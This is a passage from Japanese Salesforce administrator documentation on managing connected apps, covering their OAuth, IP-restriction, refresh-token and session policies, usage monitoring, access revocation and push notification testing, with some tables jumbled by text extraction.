クト、Visualforce ページ、Apex クラス、または他のコンポーネントと共にパッケージ化できます。パッケージ
化することで、接続アプリケーションを任意の組織のユーザまたは Salesforce AppExchange に簡単に配布できま
す。また、転送アップグレード、インストール後 Apex スクリプト、ライセンス管理、高度な登録者サポート
などその他の管理パッケージ機能へのアクセス権を付与することもできます。

メモ: 接続アプリケーションを管理パッケージに追加するには、Developer Edition 組織に所属している必要
があります。

接続アプリケーションの削除
1. [設定] から、[クイック検索]ボックスに「接続アプリケーション」と入力し、[接続アプリケーションを管理

する] を選択します。
2. 変更するアプリケーション名の横にある [編集] をクリックします。
3. [削除] をクリックし、[削除] を再度クリックして確認します。
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パッケージに含まれている接続アプリケーションを削除する場合、そのアプリケーションはパッケージを更新
するまでそのパッケージで使用可能です。Salesforceが配信した接続アプリケーション (Salesforce1など) は削除し
ないでください。

関連トピック:

接続アプリケーションの作成
接続アプリケーション
接続アプリケーションのユーザプロビジョニング
Salesforce1 接続アプリケーションの属性

接続アプリケーションの IP 制限の緩和および IP の継続的な適用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

接続アプリケーションを
作成可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

接続アプリケーションを
インストール可能なエ
ディション: すべてのエ
ディション

このトピックでは、[セッションの設定] の [すべての要求でログイン IP アドレ
スの制限を適用] オプションが、OAuth 対応接続アプリケーションの IP 制限の緩
和設定に及ぼす影響について説明します。
OAuth 対応接続アプリケーションの IP 制限を緩和し、組織が [すべての要求でロ
グイン IP アドレスの制限を適用]オプションを有効にしている場合は、接続ア
プリケーションへのアクセスの変更が可能です。このアクセスの変更は、すべ
ての OAuth 対応接続アプリケーションでのモバイルデバイスを含むクライアン
トアクセスに適用されます。IP 制限の緩和は、SAML 対応接続アプリケーション
には適用されません。

表 79 : 接続アプリケーションの IP 制限の緩和設定および IP の継続的な適用
IP の継続的な適用が有効の場合IP の継続的な適用が無効の場

合 (デフォルト)
IP 制限の
緩和

このアプリケーションを実行してい
るユーザには、ユーザのプロファイ
ルで設定された IP 範囲など、組織の
IP 制限が適用されます。

このアプリケーションを実行し
ているユーザには、ユーザのプ
ロファイルで設定された IP 範
囲など、組織の IP 制限が適用
されます。

IP 制限
を適用

このアプリケーションを実行してい
るユーザは、左列のいずれかの

このアプリケーションを実行し
ているユーザは、次のいずれか

IP 制限
を 2 次

OAuth 条件を満たす場合に、組織のの条件を満たす場合に、組織の
IP 制限を迂回します。

要素で緩
和 IP 制限を迂回します。ただし、セ

キュリティ上の理由により、ユーザ
は以下にアクセスできません。

• ホワイトリストに登録され
た IP 範囲がアプリケーショ

• パスワードの変更ンに存在し、Web サーバの
OAuth 認証フローを使用し • 時間ベースのトークンの追加
ている。ホワイトリストに • ログインフローのすべてのペー

ジ登録された IP からの要求の
みが許可されます。
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IP の継続的な適用が有効の場合IP の継続的な適用が無効の場合 (デフォル
ト)

IP 制限の緩和

• アプリケーションに IP 範囲のホワイト
リストがなく、Web サーバまたはユーザ
エージェントの OAuth 認証フローを使用
しており、ユーザが ID 確認を正常に完
了する。

この接続アプリケーションを実行しているユーザ
には、IP 制限が適用されません。ただし、セキュ

この接続アプリケーションを実行している
ユーザには、IP 制限が適用されません。

IP 制限の緩
和

リティ上の理由により、ユーザは以下にアクセス
できません。
• パスワードの変更
• 時間ベースのトークンの追加
• ログインフローのすべてのページ

接続アプリケーションの詳細の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

接続アプリケーションを
作成可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

接続アプリケーションを
インストール可能なエ
ディション: すべてのエ
ディション

ユーザ権限

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションを参照、作成、更
新または削除する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性以外のすべ
ての項目を更新する

「アプリケーションのカスタマイズ」お
よび「すべてのデータの編集」

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性を更新する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションをインストールお
よびアンインストールする

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

パッケージ化された接続アプリケーショ
ンをインストールおよびアンインストー
ルする
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および「AppExchange パッケージのダウンロード」

[接続アプリケーションの詳細] ページには、バージョンや範囲など、接続アプリケーションに関する情報が表
示されます。接続アプリケーションの編集、利用状況の確認、プロファイルと権限の関連付けを実行できま
す。
• [接続アプリケーションの編集] ページでアプリケーションの設定を変更するには、[編集] をクリックしま

す。
• 各自のコミュニティまたはカスタムドメイン設定に固有のサービスプロバイダ SAML ログイン URL およびエ

ンドポイントを取得するには、[メタデータのダウンロード] をクリックします。このボタンは、組織が ID

プロバイダとして有効で、SAML を使用する接続アプリケーションを使用する場合にのみ表示されます。メ
タデータをダウンロードする代わりに、[メタデータ検出エンドポイント] の URL からメタデータにアクセス
できます。サービスプロバイダは、この URL を使用して、Salesforce に接続するためのシングルサインオン
を設定します。

• 組織の OAuth 接続アプリケーションの利用状況レポートを表示するには、[OAuth 利用状況を表示]をクリッ
クします。

• 接続アプリケーションのユーザプロビジョニングを有効にするには、[ユーザプロビジョニングを有効化]

をクリックします。有効にしたら、ユーザプロビジョニングウィザードを使用して、設定または設定の更
新を行います。ユーザプロビジョニングウィザードを実行すると、[ユーザアカウント] セクションで、ユー
ザアカウントとサードパーティシステムのアカウント設定間のリンクを個別に管理できます。

• [プロファイルを管理する]をクリックすると、[アプリケーションプロファイルの割り当て] ページからこの
アプリケーションのプロファイルを選択できます。アプリケーションへのアクセス権を与えるプロファイ
ルを選択します (Group Edition を除く)。

重要: [許可されているユーザ] の OAuth ポリシーが「すべてのユーザは自己承認可能」に設定されてい
る場合は、このオプションは表示されません。これは、ユーザが自己承認できる場合、このオプショ
ンは必要ないためです。

• [権限セットの管理] をクリックすると、[アプリケーション権限セットの割り当て] ページからこのアプリ
ケーションのプロファイルに設定する権限セットを選択できます。アプリケーションへのアクセス権を与
える権限セットを選択します。

重要: [許可されているユーザ] の OAuth ポリシーが「すべてのユーザは自己承認可能」に設定されてい
る場合は、このオプションは表示されません。これは、ユーザが自己承認できる場合、このオプショ
ンは必要ないためです。

• 属性キーと属性値のペアを作成するには、[サービスプロバイダの SAML 属性] で [新規] をクリックします。
また、既存の属性を編集または削除することもできます。

[接続アプリケーションの編集] ページで [許可されているユーザ] に [管理者が承認したユーザ] を選択した場
合、アプリケーションを実行できるのは、選択されたプロファイルまたは権限セットが少なくとも 1 つある
ユーザのみです。[すべてのユーザ] を選択した場合は、プロファイルと権限セットが無視されます。

関連トピック:

接続アプリケーションのユーザプロビジョニング
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接続アプリケーションの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

接続アプリケーションを
作成可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

接続アプリケーションを
インストール可能なエ
ディション: すべてのエ
ディション

ユーザ権限

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションを参照、作成、更
新または削除する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性以外のすべ
ての項目を更新する

「アプリケーションのカスタマイズ」お
よび「すべてのデータの編集」

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性を更新する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションをインストールお
よびアンインストールする

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

パッケージ化された接続アプリケーショ
ンをインストールおよびアンインストー
ルする

および「AppExchangeパッケージのダウ
ンロード」

[接続アプリケーション] ページには、組織に作成されたまたは他の組織や AppExchange から組織にインストー
ルされたすべての接続アプリケーションのリストが表示されます。アプリケーションを選択して詳細情報を取
得したり、利用状況を監視したりできます。ポリシーを編集することもできます。たとえば、開始 URL の指
定、独自の接続アプリケーションハンドラの追加、ユーザプロビジョニングの有効化を実行できます。
接続アプリケーションのプロパティを表示または更新するには、[設定] から、[クイック検索]ボックスに「接
続アプリケーション」と入力し、[接続アプリケーションを管理する] を選択します。接続アプリケーションの
名前をクリックすると、情報、利用状況、ポリシーが表示されます。
[ポリシーを編集] をクリックして、開始 URL の指定、独自の接続アプリケーションハンドラの追加、カスタム
属性の追加、ユーザプロビジョニングの有効化を行います。

メモ: ユーザがアプリケーションを使用している間、15 分および 24 時間ごとにセッションが自動で更新
されます。更新は、組織に対して設定されたセッションタイムアウト値に基づきます。多くの場合、ユー
ザは更新に気づきません。
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Salesforce によってインストールされた接続アプリケーション
一部のSalesforceクライアントアプリケーションは接続アプリケーションとして実装され、Salesforceはこれを組
織に自動的にインストールします。たとえば、Salesforce1 と Salesforce for Outlook は自動的にインストールされま
す。このため、インストール済みアプリケーションのリスト内の接続アプリケーションのリストは予想よりも
長くなります。
このクライアント型 Salesforce接続アプリケーションは、Salesforce1関連アプリケーションと Salesforce1非関連ア
プリケーションの 2 つの管理パッケージで配信されます。パッケージに含まれるアプリケーションのリスト
は、リリースごとに異なります。ただし、管理を容易にするため、各パッケージは、組織内のユーザがこれら
のアプリケーションの 1 つに初めてアクセスしたときに、組織に非同期にインストールされます。
接続アプリケーションの Salesforce1 パッケージをあらかじめインストール (再インストール) しておく場合は、
AppExchange からインストールできます。
[設定] の [インストール済みパッケージ] リストにパッケージが表示されます。
各パッケージ名をクリックすると、コンポーネントのリストが表示されます。Salesforce接続アプリケーション
パッケージには、次のようなコンポーネントがあります。

メモ:  Force.com IDE および Force.com 移行ツールは「ラッパー」接続アプリケーションです。これは、他の
種類の接続アプリケーションのように OAuth を使用するのではなく、SOAP API を使用して Salesforce に接続
します。ただし、これらも接続アプリケーションのフレームワークを使用して、組織のアプリケーショ
ンへのユーザのアクセスを許可または拒否します。

Salesforce1 および Chatter アプリケーションパッケージには、次のようなコンポーネントがあります。
インストール済みの接続アプリケーションを管理するには、[設定] から、[クイック検索] ボックスに「接続ア
プリケーション」と入力し、[接続アプリケーションを管理する] を選択します。Salesforce がインストールした
接続アプリケーションは、管理パッケージによってインストールされたとしてリストに表示されます。これ
は、ユーザがインストールした他の接続アプリケーションと共に表示されます。

[接続アプリケーションの OAuth 利用状況] ページからインストールされた接続アプリケーション
このリストには、管理パッケージからインストールされたアプリケーションに加えて、[接続アプリケーショ
ンの OAuth 利用状況] ページからインストールされたアプリケーションが含まれます。

関連トピック:

接続アプリケーションのユーザプロビジョニング
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接続アプリケーションの動作の編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

接続アプリケーションを
作成可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

接続アプリケーションを
インストール可能なエ
ディション: すべてのエ
ディション

ユーザ権限

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションを参照、作成、更
新または削除する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性以外のすべ
ての項目を更新する

「アプリケーションのカスタマイズ」お
よび「すべてのデータの編集」

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性を更新する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションをインストールお
よびアンインストールする

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

パッケージ化された接続アプリケーショ
ンをインストールおよびアンインストー
ルする

および「AppExchangeパッケージのダウ
ンロード」

接続アプリケーションの設定と権限を変更して、その動作を制御します。たとえば、組織で実行しているすべ
ての接続アプリケーションの更新トークンと、セッションレベルのポリシーを変更できます。OAuth 対応の接
続アプリケーションの OAuth ポリシーを変更できます。また、Apexを使用して接続アプリケーションの動作を
カスタマイズすることもできます。
1. [設定] から、[クイック検索]ボックスに「接続アプリケーション」と入力し、[接続アプリケーションを管理

する] を選択します。
2. 変更するアプリケーション名の横にある [編集] をクリックすると、接続アプリケーションの詳細ページが

表示されます。

基本情報
基本情報はキャンバスアプリケーション以外のすべての接続アプリケーションに適用されます。
• 開始 URL  — シングルサインオンを使用する接続アプリケーション用。ユーザの認証プロセスを開始する

ページの URL を設定します。この URL はアプリケーションメニューにも表示されます。
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• モバイル開始 URL  — モバイル接続アプリケーション用。モバイルデバイスからアプリケーションにアクセ
スするときに特定の場所にユーザを転送します。

使用するアプリケーションがキャンバスアプリケーションの場合、[開始 URL] 項目は無視されます。代わりに、
接続アプリケーションの作成時に指定したキャンバスアプリケーションの URL が使用されます。

OAuth ポリシー
接続アプリケーションが OAuth 対応の場合、OAuth ポリシーが適用されます。
• [許可されているユーザ] ポリシーで、アプリケーションを実行できるユーザを決定します。

– すべてのユーザは自己承認可能  — デフォルト。組織内のすべてのユーザがアプリケーションを認証でき
ます。ユーザはアプリケーションに初めてアクセスするときに、アプリケーションを承認する必要があ
ります。

– 管理者が承認したユーザは事前承認済み  — 適切なプロファイルまたは権限セットを持つユーザのみがア
プリケーションにアクセスできます。このユーザは、アプリケーションにアクセスする前に承認する必
要はありません。各プロファイルの [接続アプリケーションへのアクセス] リストを編集して、アプリ
ケーションのプロファイルを管理します。各権限セットの [割り当てられた接続アプリケーション] リス
トを編集して、アプリケーションの権限セットを管理します。この設定は、Group Edition では使用でき
ません。

警告: [すべてのユーザは自己承認可能] から [管理者が承認したユーザは事前承認済み] に切り替える
と、アプリケーションに対して指定した権限セットまたはプロファイルに属するユーザを除き、その
アプリケーションを使用しているユーザのアクセス権が失われます。

メモ: ユーザのプロファイルまたは権限セットで「任意の API クライアントを使用」ユーザ権限が有効
化されていると、[管理者が承認したユーザは事前承認済み] ポリシーをスキップできます。このユー
ザ権限は、「管理者が承認したアプリケーションのみ」組織権限が有効化されている場合にのみ使用
できます。「任意の API クライアントを使用」ユーザ権限を使用すると、接続アプリケーションの設
定でシステム管理者が承認したユーザが必要とされ、「管理者が承認したアプリケーションのみ」組
織権限が有効化されている場合でも、システム管理者が承認していないユーザがアプリケーションに
アクセスして実行できます。この権限スキームを使用すると、短期間の契約者などの特定のユーザに
接続アプリケーションへの一時的なアクセスを許可できます。

• [IP 制限の緩和] ポリシーで、アプリケーションへのユーザのアクセスを IP 範囲で制限するかどうかを決定し
ます。Salesforce システム管理者は、次のいずれかのオプションを選択して、IP 制限を適用またはスキップ
することができます。
– IP 制限を適用  — デフォルト。このアプリケーションを実行しているユーザには、ユーザのプロファイ

ルで設定された IP 範囲などの組織の IP 制限が適用されます。
– IP 制限を 2 次要素で緩和  — このアプリケーションを実行しているユーザは、次のいずれかの条件を

満たす場合に、組織の IP 制限をスキップします。
• アプリケーションに IP 範囲のホワイトリストが存在し、アプリケーションが Web サーバの OAuth 認

証フローを使用している。ホワイトリストに登録された IP からの要求のみが許可されます。
• アプリケーションに IP 範囲のホワイトリストがなく、アプリケーションが Web サーバまたはユーザ

エージェントの OAuth 認証フローを使用しており、ユーザが ID 確認を正常に完了する。
– IP 制限の緩和  — このアプリケーションを実行しているユーザには、組織の IP 制限は適用されません。

6731

Salesforce とのアプリケーションのインテグレーションコードを使用した Salesforce の拡張



メモ: [セッションの設定] の [すべての要求でログイン IP アドレスの制限を適用]オプションが有効化
されている場合、IP の緩和動作に影響があります。詳細は、「接続アプリケーションの IP 制限の緩和
および IP の継続的な適用」 (ページ 6725)を参照してください。

• [更新トークンポリシー] で、認証時に新しいアクセストークンを取得するために更新トークンを提供する
かどうかを決定します。更新トークンを提供する場合、ユーザはアクセストークンの期限が切れたときに
再認証することなく OAuth 対応の接続アプリケーションに引き続きアクセスできます。システム管理者は
セッションタイムアウト値を使用してアクセストークンの有効期間を制限します。接続アプリケーション
は、更新トークンをアクセストークンと交換して新しいセッションを開始します。Salesforce システム管理
者は、次のいずれかの更新トークンポリシーを選択できます。
– 更新トークンは取り消されるまで有効  — デフォルト。ユーザまたは Salesforce システム管理者が取り消さ

ない限り、更新トークンを無期限に使用できます。トークンの取り消しは、ユーザの詳細ページの [OAuth

接続アプリケーション]、または [設定] の [接続アプリケーションの OAuth の利用状況] ページから行いま
す。

– 更新トークンを直ちに期限切れにする  — 更新トークンは直ちに無効になります。ユーザはすでに発行さ
れている現在のセッション (アクセストークン) を使用できますが、アクセストークンの期限が切れたと
きに新しいセッションを取得することはできません。

– 次で使用されていない更新トークンを期限切れにする n  — 更新トークンは、使用されている限り、指定
された期間内で有効です。たとえば、7 日間に設定されている場合、更新トークンが 7 日以内に新しい
セッションのために交換されなければ、次のトークン使用の試行は失敗します。期限切れのトークンは
新しいセッションを生成できません。更新トークンが 7 日以内に交換された場合、そのトークンはさら
に次の 7 日間有効です。無操作状態の監視期間もリセットされます。

– 次の時間が経過したら更新トークンを期限切れにする n  — 更新トークンは一定期間有効です。たとえば、
ポリシーで 1 日に設定されている場合、ユーザは 24 時間のみ新しいセッションを取得できます。

更新トークンポリシーは、発行された更新トークンの使用時にのみ評価され、ユーザの現在のセッション
に影響を与えることはありません。更新トークンは、ユーザのセッションが期限切れになったか、使用で
きないときにのみ必要になります。たとえば、1 時間後に更新トークンの期限が切れるように更新トークン
ポリシーを設定し、ユーザがアプリケーションを 2 時間使用する場合、1 時間後にユーザが認証を強制され
ることはありません。ただし、セッションの期限が切れ、クライアントが新しいセッションのための更新
トークンの交換を試みた場合、ユーザは再度認証を要求されます。

接続アプリケーションが、署名要求認証を使用するキャンバスアプリケーションの場合、必ず次のようにしま
す。
• [許可されているユーザ] を [管理者が承認したユーザは事前承認済み] に設定します。
• [期限切れの更新トークン] を [このアプリケーションの初回の使用時] に設定します。
• プロファイルセットおよび権限セットにより、ユーザにアクセス権を付与します。

セッションポリシー
セッションポリシーはすべての接続アプリケーションに適用されます。
• セッションタイムアウト値  — アクセストークンを期限切れにしてユーザの接続アプリケーションセッショ

ンを終了するタイミングを指定します。ユーザのセッションの持続時間は、接続アプリケーション、ユー
ザプロファイル、組織のセッション設定のタイムアウト値をこの順番で設定することで制御できます。値
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を設定しないか [なし] (デフォルト) を選択した場合、Salesforceはユーザのプロファイルのタイムアウト値を
使用します。プロファイルにタイムアウト値が指定されていない場合、Salesforceは組織の [セッションの設
定] のタイムアウト値を使用します。

• 接続アプリケーションの現在の権限も組織の [セッションの設定] にリストされます。
• 高保証セッションが必要  — ユーザがアプリケーションにログインしてアクセスするときに、時間ベースの

トークンの入力をユーザに要求します。

モバイルアプリケーション設定
モバイルアプリケーション設定は、PIN 保護を適用するモバイル接続アプリケーションに適用されます。
• 次の時間が経過したら PIN を要求  — アプリケーションがアイドル状態になってから、アプリケーション

がロックされるまでの時間を指定します。ロックされた場合、続行するには PIN の入力が必要になります。
使用できる値は、なし (ロックなし)、1、5、10、および 30 分です。このポリシーは、対応する [PIN の文
字数]が設定されている場合にのみ適用されます。ポリシーの適用は、接続アプリケーションが行います。
Salesforce Mobile SDK を使用して作成されたアプリケーションでは、このポリシーを適用できます。または、
アプリケーションが UserInfo サービスからポリシーを読み込んで適用することもできます。

メモ: この設定によって、ユーザのセッションが無効化されることはありません。無操作によりセッ
ションが期限切れになることはありますが、このポリシーでは、現在のセッションを継続して使用で
きるように、ユーザに PIN の入力を要求するだけです。

• PIN の文字数  — 認証確認用に送信される識別番号の長さを設定します。4 ～ 8 桁 (両端を含む) の長さが有
効です。

カスタム属性は、すべての接続アプリケーションで使用できます。開発者は、カスタム SAML メタデータまた
はカスタム OAuth 属性を接続アプリケーションに設定できます。Salesforce システム管理者は、属性の削除や編
集、カスタム属性の追加を実行できます。システム管理者によって削除、編集、または追加された属性は、開
発者によって設定された属性を上書きします。詳細は、「接続アプリケーションの編集、パッケージ化、また
は削除」 (ページ 6722)を参照してください。

カスタム接続アプリケーションハンドラ
Apexを使用して接続アプリケーションの動作をカスタマイズします。ConnectedAppPlugin Apexクラスを拡
張するクラスを作成し、そのクラスを接続アプリケーションに関連付けます。このクラスは、新しい認証プロ
トコルをサポートしたり、ビジネスプロセスにメリットがある形でユーザ属性に応答することができます。
ユーザアカウントの代わりにプラグインが実行されます。[別のユーザとして実行]項目で、プラグインのユー
ザを選択します。ユーザが接続アプリケーションに対して認証されていない場合は、authorize メソッドを
使用して実行します。詳細は、『Apex コード開発者ガイド』の ConnectedAppPluginクラスを参照してくだ
さい。
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ユーザプロビジョニング設定

ユーザプロビジョニングを有効化  — 接続アプリケーションのユーザプロビジョニングを行って、Salesforce 組織
内のユーザに基づいて接続アプリケーションのユーザアカウントを作成、更新、削除できます。Salesforceが提
供するウィザードに従って、ユーザプロビジョニングの設定または設定の更新を実行できます。

関連トピック:

接続アプリケーションの動作の編集
セッションセキュリティ設定の変更
接続アプリケーションのユーザプロビジョニング
Salesforce1 接続アプリケーションの属性

OAuth 接続アプリケーションの利用状況の監視

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

接続アプリケーションを
作成可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

接続アプリケーションを
インストール可能なエ
ディション: すべてのエ
ディション

ユーザ権限

「設定・定義を参照する」および「ユー
ザの管理」

[接続アプリケーションの OAuth の利用状
況] ページを参照する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションを参照、作成、更
新または削除する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性以外のすべ
ての項目を更新する

「アプリケーションのカスタマイズ」お
よび「すべてのデータの編集」

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性を更新する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションをインストールお
よびアンインストールする

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

パッケージ化された接続アプリケーショ
ンをインストールおよびアンインストー
ルする

および「AppExchangeパッケージのダウ
ンロード」
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[接続アプリケーションの OAuth の利用状況] ページには、組織のユーザが接続しているすべての OAuth 接続ア
プリケーションのリストが表示されます。これらのアプリケーションには、有効なアクセストークンまたは更
新トークンが含まれます。アプリケーションのすべてのトークンが取り消されたか期限切れになった場合、そ
のアプリケーションはリストに表示されなくなります。
リストには、アプリケーションの取得元の場所にかかわらず、組織への現在のすべての OAuth 接続が表示され
ます。アプリケーションの横にインストールボタンがある場合、その接続アプリケーションは別の組織で作成
されたものです。アプリケーションをインストールすると、アプリケーションにアクセスできるユーザや期間
などのセキュリティポリシーを管理できます。
OAuth 接続アプリケーションの情報を表示するには、[設定] から、[クイック検索] ボックスに「OAuth」と入
力し、[接続アプリケーションの OAuth の利用状況]を選択します。結果のアプリケーションリストには、組織
にインストールされたアプリケーションだけでなくユーザが使用できるすべてのSalesforceアプリケーションお
よびカスタム OAuth アプリケーションが含まれるため、リストが長くなる可能性があります。たとえば、
AppExchange、Salesforce パートナー、および他の開発者からのアプリケーションが含まれます。
接続アプリケーション

接続アプリケーションの名前。リストには、組織のいずれかのユーザが使用しているアプリケーションの
みが含まれます。

説明
接続アプリケーションの説明。

アプリケーションポリシーを管理
[アプリケーションポリシーを管理] をクリックすると、接続アプリケーションの詳細ページが開きます。
詳細ページから、[ポリシーを編集] をクリックしてアプリケーションのアクセスとセキュリティポリシー
を管理できます。

ユーザ数
アプリケーションを使用しているユーザの数。[ユーザ数] の数字をクリックすると [接続アプリケーション
ユーザの利用状況] ページが開き、ユーザに関する次の情報が表示されます。
• アプリケーションを初めて使用した日時
• アプリケーションを最後に使用した日時
• アプリケーションを使用した回数の合計
このページから [取り消し] をクリックすることで、現在のセッションへのユーザのアクセスを終了できま
す。また、ページの上部にある [すべて取り消し] をクリックすると、アプリケーションを現在使用してい
るすべてのユーザをログアウトさせることができます。

アクション
次のいずれかのアクションを実行できます。
• インストール — OAuth 接続アプリケーションのアクセスとセキュリティポリシーの管理ができるように

なります。[インストール] をクリックすると、アプリケーションの横に [アプリケーションポリシーを管
理] リンクが表示されます。リンクをクリックすると、アプリケーションの詳細ページが開き、そこで
ポリシーを設定できます。[インストール] は、別の組織で作成され、Salesforce または管理パッケージで
利用できないアプリケーションの横に表示されます。このアプリケーションをインストールして組織で
のセキュリティポリシーを管理します。

• アンインストール — OAuth 接続アプリケーションのローカルコピーを削除します。元の開発者が別の
Salesforce 組織で該当のアプリケーションを削除した場合のみ、[アンインストール] をクリックします。

6735

Salesforce とのアプリケーションのインテグレーションコードを使用した Salesforce の拡張



アンインストールしても接続アプリケーションは削除されません。削除されるのは、組織でアプリケー
ションの OAuth ポリシーを設定するためにインストールしたローカルコピーのみです。アプリケーショ
ンをアンインストールすると、組織でそのアプリケーションに設定した OAuth ポリシーのみが削除され
ます。実際にはセキュリティ対策が弱くなります。

• ブロック — 組織のユーザが OAuth 接続アプリケーションにアクセスできなくなります。アプリケーショ
ンをブロックすると、現在のすべてのユーザセッションが終了し、すべての新しいセッションがブロッ
クされます。

• ブロック解除 — 新しい接続の確立が再開されます。これで、ユーザは次回アプリケーションにログイ
ンしてアクセスできます。

接続アプリケーションの OAuth アクセスの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce Classic Mobile
は、Database.com Edition
では使用できません。

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

すべてのユーザが、個人設定から接続アプリケーションの OAuth アクセスを管
理できます。Salesforce データへのアクセス権を持つ OAuth アプリケーションが
[高度なユーザの詳細] の下に表示されます。各アプリケーションの情報を取得
し、アプリケーションのアクセス権を取り消すことができます。
接続アプリケーションは、APIを使用してアプリケーションを Salesforceと統合し
ます。接続アプリケーションでは、標準の SAML および OAuth プロトコルを使用
して認証して、シングルサインオンを提供し、SalesforceAPI を使用してトークン
を提供します。接続アプリケーションでは、標準の OAuth 機能に加え、Salesforce

管理者がさまざまなセキュリティポリシーを設定したり、対応するアプリケー
ションを使用できるユーザを明示的に制御したりすることができます。各アプ
リケーションに権限を明示的に許可した後、接続アプリケーションが Salesforce

データのサブセットにアクセスできるように、すべての接続アプリケーション
が Salesforce に統合されます。
個人設定に移動すると、Salesforce データへのアクセス権を持つ接続アプリケー
ションが表示されます。
1. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力

し、[高度なユーザの詳細] を選択します。結果がありませんか? [クイック検
索] ボックスに「個人情報」と入力し、[個人情報] を選択します。

2. OAuth の [接続アプリケーション] セクションでは、次の操作を実行できます。
• アクセスを付与した各接続アプリケーション、アプリケーションが情報へのアクセスを試行した回数、

および最後のアクセス時間に関する情報を表示します。

メモ:

– 1 つの接続アプリケーションが複数回表示される場合があります。アプリケーションにアクセ
ス権を付与するたびに、アプリケーションは新しいアクセストークンを取得します。更新トー
クンの要求により、使用回数が増加します。また、OAuth 2.0 接続アプリケーションが、範囲が
異なる複数のトークンを要求すると、同じアプリケーションが複数回表示されます。

– 接続アプリケーションがログインできなかったために情報にアクセスできなかった場合でも、
[使用回数] 項目と [最終使用日] 項目は更新されます。

– OAuth 2.0 以前の OAuth アプリケーションの場合、ラップトップやデスクトップなど、使用する
各デバイスから Salesforce データへのアクセス権を付与する必要があります。デフォルトのアク
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セストークン数は、接続アプリケーションあたり 5 です。アクセス権を一度付与すると、追加
デバイスでは、新しいアプリケーション (OAuth 2.0 プロトコルを使用) が自動的に許可されます。

• アプリケーションのアクセス権を取り消すには、[取り消し]をクリックします。アプリケーションを取
り消すと、アプリケーションは Salesforce データにアクセスできなくなります。

重要: Salesforce データに特定のアプリケーションがアクセスできないようにするには、そのアプリ
ケーションのすべてのアクセストークンを取り消します。

Salesforce Classic Mobileを使用していて、新しいモバイルデバイスを使用する場合、新しいデバイスにアプリケー
ションをダウンロードしてログインします。古いデバイス上のアクセストークンを取り消す必要はありませ
ん。Salesforce が新しいアクセストークンを作成します。

関連トピック:

接続アプリケーション
接続アプリケーションの作成
接続アプリケーションの動作の編集
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転送通知のテスト

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

接続アプリケーションを
作成可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

接続アプリケーションを
インストール可能なエ
ディション: すべてのエ
ディション

ユーザ権限

[転送通知をテスト] ページ
から転送通知を送信する
• 「Apex 開発」

および

「接続アプリケーショ
ンの管理」

転送通知設定の簡易テストを実行するには、[テスト通知の送信]ページを使用し
ます。[テスト通知の送信] ページでは、Apex または REST コールを設定すること
なく、同期メカニズムで往復の転送通知をトラブルシューティングできます。
実際の転送通知の非同期環境では、バックグラウンドで何が行われているかに
ついて洞察を得ることもできます。

転送通知の制限
Salesforce 組織に関連付けられた各モバイルアプリケーションで許容される転送
通知の最大数は、アプリケーションの種別によって異なります。

アプリケーションごとの 1 日の最大通
知数

モバイルアプリケーション種別

50,000Salesforce により提供されたモバイルア
プリケーション (Salesforce1 など)

35,000内部の社員向けに自社開発されたモバ
イルアプリケーション

5,000AppExchangeからインストールされたモ
